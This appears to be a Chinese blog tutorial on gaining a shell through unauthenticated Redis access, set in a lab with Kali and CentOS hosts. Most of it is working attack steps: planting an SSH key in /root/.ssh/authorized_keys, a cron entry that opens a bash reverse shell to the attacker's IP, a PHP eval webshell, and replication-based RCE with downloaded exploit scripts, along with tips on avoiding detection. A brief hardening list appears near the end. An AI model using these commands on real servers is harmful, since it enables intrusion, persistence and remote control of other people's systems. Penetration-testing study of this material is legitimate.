redis简介

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库

端口:6379

环境

kali =>192.168.60.134

cenos => 192.168.60.130

redis未授权访问

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上

./redis-server 使用默认配置
./redis-server ../redis.conf 使用自定义配置
未授权访问 bind protected-mode 连接 执行命令
127.0.0.1 yes 不能 不能
0.0.0.0 yes
不绑定 yes 不能
不绑定 no

总结:造成未授权访问有两种情况:

  1. 未开启登录验证,并且把IP绑定到0.0.0.0
  2. 未开启登录验证,没有设置绑定IP,protected-mode关闭

原理

Redis有两种持久化的方式:**快照(RDB文件)**和追加式文件(AOF文件)

RDB方式:备份数据库的文件名默认为dump.rdb,此文件名可以通过客户端交互动态设置dbfilename来更改,造成可以写任意文件.

config set dir aa 设置备份目录为xxconfig set dbfilename bb 设置备份文件名为xx

一、写SSH-keygen

利用条件

  1. root账号启动redis服务
  2. 服务器开放SSH服务,允许密钥登录。

利用过程

  1. kali上生成公私钥

    ssh-keygen -t rsa
    
  2. 未授权访问redis

    redis-cli -h 192.168.60.130
    
  3. 利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys

    config set dir /root/.ssh
    config set dbfilename authorized_keys
    save
    
  4. 写入key-value

    set a "\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiqG0Pp2TFXOKg/AdFZv2mdDKizbL85GrbGUg6ZoEpjWnoB9JGRSkSCfz/LoB0kokZ+iPMXPSETxn+Hs5Y13V9jQ0n+O5mDrO+eUSKhkKTTZBjjweIuoCjLvHcwuIHC1T3+S+U895Ur8Ea6tETRNPlKylgO9McsQjNg88q4RFo+vSXaU1IMs8kcyJ26wVeB8tAU/9nEKsjQkip52ENqSIqR3qdEQWV0Eoc9XrXT4o78TKQfkCSUTFUFgOO+9NYUfnWkR5KtbHusyRfNOKlkauFsgoIzHBQBl2K0pU4LkeA5D6YTHZwYwqId0AewSwCNzxq6GAbEVzmIJ3KzhOkjZXs3/JNmweX3DVdyPaXf57IogVyxkWtSGbA2QtUbWL96o8QT1TIvODA2H6s6ktq88/jTfOSInlhURzkxNYXLjvwRi/918ze0f7ISICGlbtkWR0audGfZwjLeYfjI5INc9mPBUjybSQDuCFI2oVOFFBbWWwdB4ipB8pyYf9JrsOMRO0= root@kali\n"
    
  5. ssh连接

    ssh -i id_rsa root@192.168.60.130
    

二、写计划任务反弹shell

/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。

执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现。

利用条件

  1. redis是root用户启动

利用过程

  1. 设置数据库备份目录为linux计划任务目录

    config set dir /var/spool/cron/
    
  2. 设置备份文件名为root,以root身份执行计划任务

    config set dbfilename root
    
  3. 将反弹shell写入b键值并同步保存

    set a "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.60.134/4444 0>&1\n\n"save
    

    然后等待一会儿就可以看到反弹的shell

三、写webshell

利用条件

  1. 已知web的绝对路径
  2. 具有读写权限

利用过程

  1. 设置数据库备份目录为linux计划任务目录

    config set dir /var/www/html
    
  2. 写入webshell并同步保存

    set c "\n\n\n<?php @eval($_POST['rose']);?>\n\n\n" config set dbfilename webshell.php save 同步保存操作
    

四、利用主从复制获取shell

Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。

原理

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。

然后在从机上加载so文件,我们就可以执行拓展的新命令了。

实验

下载利用脚本

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
git clone https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so

参考:https://www.cnblogs.com/twosmi1e/p/13308682.html#3517039648

详细分析:https://paper.seebug.org/975/#redis

五、lua rce

高权限运行低版本redis的lua虚拟机,写文件失败时可以进行尝试。

参考:https://www.freebuf.com/articles/web/237263.html

https://www.anquanke.com/post/id/151203/

EXP: https://github.com/QAX-A-Team/redis_lua_exploit/

六、反序列化rce

当遇到 redis 服务器写文件无法 getshell,可以查看redis数据是否符合序列化数据的特征。
序列化数据类型分辨:

jackson:关注 json 对象是不是数组,第一个元素看起来像不像类名,例如["com.blue.bean.User",xxx]
fastjson:关注有没有 @type 字段
jdk:首先看 value 是不是 base64,如果是解码后看里面有没有 java 包名

redis 反序列化本质上不是 redis 的漏洞,而是使用 redis 的应用反序列化了 redis 的数据而引起的漏洞,redis 是一个缓存服务器,用于存储一些缓存对象,所以在很多场景下 redis 里存储的都是各种序列化后的对象数据。

参考:https://www.freebuf.com/articles/web/237263.html

脚本工具

利用
https://github.com/00theway/redis_exp
检测
https://github.com/Ridter/hackredis

防护

  1. 禁止一些高危命令
  2. 以低权限运行 Redis 服务
  3. 为 Redis 添加密码验证
  4. 禁止外网访问 Redis
  5. 修改默认端口
  6. 保证 authorized_keys 文件的安全
  7. 设置防火墙策略

总结

Windows下如何getshell?

  • 写入webshell,需要知道web路径
  • 写入启动项,需要目标服务器重启
  • 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。

实战在生产环境下用还是会有很多问题的

  1. redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
  2. Ubuntu,Debian写计划任务反弹无用
  3. 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来
  4. 生产环境下用KEY * 这样的命令直接炸

参考

  • https://www.cnblogs.com/twosmi1e/p/13308682.html#3517039648
  • https://www.freebuf.com/articles/web/249238.html
  • https://www.freebuf.com/articles/web/237263.html
  • https://www.freebuf.com/vuls/148758.html
  • https://paper.seebug.org/975/#redis

redis未授权访问getshell的方式相关推荐

  1. 尝试从redis未授权访问到getshell的四种姿势(失败)

    尝试从redis未授权访问到getshell的四种姿势(失败) 使用Goby扫描某SRC的C段,发现一个Redis未授权,经验证漏洞存在,故尝试Getshell提高危害(拿更多赏金) 虽然Getshe ...

  2. Redis未授权访问漏洞记录(端口:6379)

    目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 ​ 写入/etc/passwd文件 利用主从复制RCE ​ 本地Red ...

  3. api zoom 实现自动预定_ZoomEyeAPI批量抓取与Redis未授权访问

    介绍 Zoomeye是知道创宇开发的一款很厉害的搜索引擎,不过相对于传统的百度,它是用作搜索主机设备,web应用指纹.ZoomEye 支持公网设备指纹检索和 Web 指纹检索网站指纹包括应用名.版本. ...

  4. redis 未授权访问详解

    一. 应用介绍 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型. Key-Value数据库.和Memcached类似,它支持存储的value 类型相对更多,包括 ...

  5. 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...

    前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...

  6. Redis 未授权访问缺陷可轻易导致系统被黑

    Redis 未授权访问缺陷可轻易导致系统被黑 漏洞概要 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在 ...

  7. redis未授权访问

    Redis未授权访问攻击 预备知识 Redis是用C语言开发的一个开源的高性能键值对(key-value)数据库,和Memcached类似.Redis支持存储的value类型相对更多,包括string ...

  8. 漏洞检测与防御:Redis未授权访问漏洞复现

    漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...

  9. Redis未授权访问漏洞的重现与利用

    前言: 最近配置openvas的时候安装了redis,听说曾经曝出过一个未授权访问漏洞,便找了一下相关资料想自己动手复现一下漏洞的利用过程,当然所有的攻击性操作都是在虚拟机上完成的,本文所有的操作是在 ...

最新文章

  1. 推荐的 CSS 书写顺序
  2. bootstrap 引用注意事项
  3. Elasticsearch 节点发现
  4. xss_url 通关_11-16
  5. python2.7怎么升级python3_如何将Mac OS X10.9下的Python2.7升级到最新的Python3.3
  6. Tensorflow学习笔记---1--Python基本操作
  7. 小括号教学设计导入_如何在教学中凸显出学生的主体地位呢?原来只需要做到这几点即可...
  8. SVM支持向量机习题解答
  9. win10如何下载python3_Win10环境中如何实现python2和python3并存
  10. lintcode-111-爬楼梯
  11. linux压缩和备份工具
  12. mysql8 json_table_新特性解读 | MySQL 8.0 json到表的转换
  13. linux7防火墙端口映射,服务器使用firewall进行端口映射端口转发
  14. jsp分页带条件查询时,点击上一页或下一页,没有按条件查询数据。
  15. 计算机如何共享桌面,怎么共享电脑屏幕?
  16. 二极管整流电路工作原理图
  17. 基于5g的交通运输_一种基于5G的智慧交通基础服务平台
  18. HDU-2094-产生冠军
  19. SAN存储和服务器虚拟化安装方案,如何部署SAN
  20. java分布式技术平台架构方案

热门文章

  1. 对接快递100快递管家API之订单信息导入接口
  2. 如何打印出菱形的星号*
  3. 猪年快乐之TensorFlow中实现word2vec及如何结构化TensorFlow模型
  4. Core ML 2有什么新功能?
  5. Java语言TAR文件(文件夹)批量打包压缩
  6. 腾讯开放真相:对开发者大小通吃 令人害怕的帝国
  7. 关于Java的多继承
  8. 点评2018 Gartner基础设施即服务魔力象限
  9. Java世界里的四大名著(Java程序员必看书籍)
  10. 计算机教师队伍掌握的素质,教师信息素养的现状和对策论文